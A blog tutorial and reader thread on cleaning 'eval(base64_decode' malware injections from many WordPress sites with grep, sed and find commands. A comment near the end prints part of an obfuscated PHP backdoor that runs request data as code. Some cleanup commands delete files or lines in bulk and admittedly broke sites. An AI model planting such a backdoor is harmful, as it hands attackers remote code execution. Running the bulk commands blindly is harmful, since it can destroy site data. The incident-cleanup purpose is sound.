Remove “eval(base64_decode” using linux commands from all php files across multiple WordPress

Yesterday, almost all installations on our test server had been infected by infamous “<?php eval(base64_decode(…)) ?>” code injection.

We have more than 600 demo sites on our test server and cleaning them using any WordPress plugin out there was simply out of the question! Can you imagine logging into each WordPress, installing plugin, then scanning/cleaning up WordPress… for 600+ WordPress sites?

Below is combination of Linux commands we used.  Assuming you have logged into a Linux Shell and already have BACKUP of all files (including infected files) lets move ahead!

Command to list all infected files:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot

This is not necessary but its better to check some files manually to confirm if they have malicious code we are looking for. Also we can use this command after running cleanup command to crosscheck if cleanup is really successful.

Command to remove malicious code:

If above command gives you correct output, execute following command to perform actual cleaning:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g'

Executing above will remove eval(*) codes.  Above command will also generate a backup version of files it will modify. For example, if it removes code from index.php, you will find a new file index.php.bak in same directory with original content of index.php

Now after running above command, you still find some more infected files, then you need to adjust search and replace parameters in for “sed” part.    You may also use following command for a “liberal” cleaning at the risk of breaking something. (in case you really break something, like I did, you can jump to “Troubleshooting” section below!)

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak '/eval(base64_decode*/d'

Trying to avoid re-appearance of this code injection

Its really though to cover every possible way to protect yourself from such attach in this post.

If you remember, WordPress community faced this kind of issue because of WP-PhpMyAdmin plugin sometime back. In our case, we found some old WordPress demo sites were having that plugin installed.

To remove WP-PhpMyAdmin plugin form all WordPress sites on your server, execute following command:

find /path/to/webroot -name "wp-phpmyadmin" -type d | xargs rm -rf

Above is all we did to get rid of eval(base64_decode(*)) codes from all files on our test server. If this happens again on our server, I will update this post with added info.

Troubleshooting:

Just in case you end up in a mess, below are some useful commands.

Missing <?php tag in the beginning:

To add “<?php: tag in the beginning of index.php files, in case if you remove it accidentally use following command:

find /var/www/ -name "index.php" | grep "/htdocs/index.php" | xargs grep -L "<?php" | xargs sed -i "1s/^/<?php \n/"

Don’t worry. If you already have a “<?php ” tag in the beginning, it won’t be added again.

Extra Newlines at the top!

If you find after cleanup, extra newlines at the top of your code, then use following command to remove trailing newlines. Extra newlines creates problem for blog feeds.

find . -name '*.php' -exec sed -i -e :a -e '/^\n*$/{$d;N;ba' -e '}' '{}' \;

I hope you will find this stuff useful.

No related posts.

28 Comments…

 Share your views
  1. This was pretty useful article. Most of the time, free templates come with eval scripts. Thanks for the info.

  2. Hi…

    I have one exp. of iffram attack.. .nice infomation you written..

    keep it up.

  3. Very useful article. Helped me a lot!
    Many thanks!

  4. This is really handy, thank you kind sir.

    I would also like to add that Timthumb allows base64 asshattery.

    Find old version of tim:
    find `pwd` -type f \( -iname thumb.php -or -iname timthumb.php \) -exec grep -HP ‘define ?\(.VERSION’ {} \;

  5. Thanks for this post. I have about 10 WordPress blogs that keep getting rehacked with the eval crap… I’m going to try your process. I’ve been deleting the files and reinstalling WP, the databases have been fine, thank goodness. I have run Bullet Proof Security plugin and Exploit Scanner plugin to identify and fix problems, which helps, but yeah it’s a pain over multiple blogs. So far been changing permissions on the files and the four blogs I’ve changed have not been rehacked, I hope it holds.

  6. Hi! i cleaned out my Joomla installation from the code, but every .php file which was infected misses the

    Thank you.

  7. Hi I also faced the same problem in one of my dedicated servers almost 300 WP sites but tried your script bcs of my lack of experience I couldnt be able to make the script work properly. Also asked for a pro help and installed CXS and it quarantined every infected file in my server and my websites were down. After restoration now I got an error message as follows:
    ”Error 324 (net::ERR_EMPTY_RESPONSE):”
    Your guidance highly appreciated.
    regards

  8. i am the owner of 3 websites that are infected with this eval(base64_decode malware.

    I have cleaned the sites 5 timed now by re-installing all the WordPress php files. The sites work for about 24 hours and the malware returns.

    Where in the WordPress folders do I add your command
    grep -lr –include=*.php “eval(base64_decode” /path/to/webroot | xargs sed -i.bak ‘s/<?php eval(base64_decode[^;]*;/<?php\n/g' to run it.?

    thanks,
    RG

    • @Richard G

      You need a Linux shell to execute this commands and don’t forget to replace /path/to/webroot with your own web root path i.e /var/www/example.com

      grep -lr –include=*.php “eval(base64_decode” /path/to/webroot | xargs sed -i.bak ‘s/<?php eval(base64_decode[^;]*;/<?php\n/g'

  9. Hi, I have a Linux server with several domains on it. I found a malicious code inserted on PHP, HTML an JS files. The malicious code starts with #c3284d# or I already found 5 variants, but all of them starts and ends with “c3284d”.
    Is there any way to search and delete all scripts inserted between ” c3284d” on all directories? to avoid modifying each file?

  10. Hi — I’m trying to use the terminal command to scrub files on a local (osx) machine. Pretty sure I’m missing something basic but not quite sure what it is.

    Subbing /path/to/folder for path/to/webroot hasn’t worked in the grep command — is there something else I need to do?

    Many, many thank.

    -m

  11. A new file index.php.bak in same directory with original content of index.php

    a new file, a new security weakness…
    cause this file might be reachable from the outside server and might even contain passwords
    wp-config.php.bak will display nice information with that

    • @Sec Analyst

      Perfect point after removing some malicious code the newly generated .bak files leaks lots of juicy information :)

      We can removing all the .bak files by using simple commands

      find /path/to/webroot -iname “*.bak” -exec rm {} \;

  12. I am getting by a version that is injection some base64 junk and forcing iframes that point to clickstats.ignorelist.com

    This modified command works for me on any line of the file and doesn’t kill the first line like the original post did.

    find . -name index.php -exec grep -qF ‘<?php eval(base64_decode(' {} \; -exec bash -c 'printf "%s\n" "g/<?php eval(base64_decode[^;]*;/s//<?php/g" w q | ed -s "$1"' _ {} \;

  13. Hi,
    Thanks for your post, it was helpful.
    In my situation, I made a minor tweaks since the injection included a /**/ before the eval.
    For anyone else in this situation, this works:
    grep -lr –include=*.php “eval(base64_decode” /path/to/root | xargs sed -i.bak ‘s///g’

  14. Oops … trying again, this form seems to have prevented the text from showing:

    grep -lr –include=*.php “eval(base64_decode” /home/smartco1/public_html | xargs sed -i.bak “s/”//g”

  15. Can you help me to modify your command:
    grep -lr –include=*.php “eval(base64_decode” /path/to/webroot | xargs sed -i.bak ‘/eval(base64_decode*/d’

    I have a string like this:

    Because of single and double quotes I’m unable to execute your command. Any thoughts?
    Thanks

  16. [...] , which is specific to a particular hack, but also read this site: http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-li… , which speaks more generally about eval(base64_decode injections into your php files. I read the [...]

  17. just incase anyone is interested I created a script that would scan all your php, js and .htaccess files and would remove sevral types of malware inserted codes.

    check out my script at my website http://ombing.info/2012/10/20/php-malware-scanner/

  18. Just what I was looking for! Thanks for posting these commands~

  19. I was hit by this across my server. Lots of sites were impacted. I tested your removal script on one of the sites before letting it lose and it removed the first <?php .. unfortunately I cant figure out how to replace it using your clean up script because the files werent named index.php, it was a range of variations. Any help would be great!

  20. Thanks,- very helpful, indeed.
    First post of a lot i’ve read, that points directly to a working strategy.

  21. Here is a better Missing PHP script in the top of the file
    grep -Lr –include=*.php “<?php" /home/path | xargs sed -i "1s/^/<?php \n/"

    unfortianally it ads also the <?php files that contains the valid <? for php.
    So here is the 3rd script to run to fix those files

    for file in $(find /home/path -name "*.php");do if [ $(grep -m 1 -A 2 '<?php' $file | grep -c '<?') -eq 2 ]; then sed -i.bak2 "/<?php/d" $file;fi;done

    Maybe update the guide with these commands?

  22. Here is another version that works well regardless where the injection is:

    perl -pi -e ‘s!eval\(base64_decode\(.*?\)\);!!g’ `grep -lr –include=*.php “eval(base64_decode” /path/to/your/domain`

  23. Very helpful! Thank you!

  24. perhaps you will be interested in the example of fresh malware for Joomla:

    $value)
    if(ord(substr(current(array_keys($_REQUEST)),-1)) – ord(substr(current(array_keys($_REQUEST)),0,1)) == 1 && ord(substr(current(array_keys($_REQUEST)),-2,1)) – ord(substr(current(array_keys($_REQUEST)),-1)) == 5){
    define(“STR_CONSTANT”, “\x2f\x28\x2e\x2a\x29\x2f\x65″);
    define(“STR_PROGRESS_CONSTANT”, “\x29\x27\x31\x5c\x27\x28\x6c\x61\x76\x65″);
    $STR_PRE_PROGRESS_CONSTANT = strrev(“\x65\x64\x6f\x63\x65\x64\x5f\x34\x36\x65\x73\x61\x62″);
    preg_replace(STR_CONSTANT,strrev(STR_PROGRESS_CONSTANT),$STR_PRE_PROGRESS_CONSTANT($value));

    } die(‘Forbidden.’); ?>

    searches were carried out as follows:
    grep -rl ‘substr(current(array_keys’ /full/path

Leave a Comment

  • Facebook
  • GitHub
  • Twitter
  • LinkedIn
  • Google

Your email address will not be published.

*